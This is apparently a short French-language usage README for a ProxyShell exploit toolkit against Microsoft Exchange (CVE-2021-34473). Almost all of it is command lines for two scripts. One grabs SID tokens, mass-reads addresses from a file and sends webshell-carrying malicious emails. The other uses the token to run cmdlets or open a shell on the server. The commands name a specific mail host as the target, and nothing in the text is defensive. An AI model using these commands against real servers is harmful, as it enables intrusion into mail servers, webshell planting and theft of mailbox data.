CVE-2021-34473-Exchange-ProxyShell

• python send_webshell_mail.py https://mail16.echod.com [email protected] récupération unique

• python send_webshell_mail.py https://mail16.echod.com crack Lire en masse les emails depuis mail.txt, tenter d'obtenir le token SID

• python send_webshell_mail.py https://mail16.echod.com [email protected] send (envoyer uniquement l'email brouillon du webshell)

• python send_webshell_mail.py https://mail16.echod.com crack send envoyer en masse des emails malveillants (déconseillé)

• python wsman_shell.py https://mail.echod.com [email protected] [ici remplacer par le token obtenu] ici seulement entrer dans cmdlet pour exécuter des commandes

  Après l'envoi de l'email, vous pouvez utiliser directement cette commande pour tenter un getshell. Le chemin spécifique peut être ajusté dans le chemin du script.

• python wsman_shell.py https://mail.echod.com [email protected] [ici remplacer par le token obtenu] shell

Test d'envoi d'email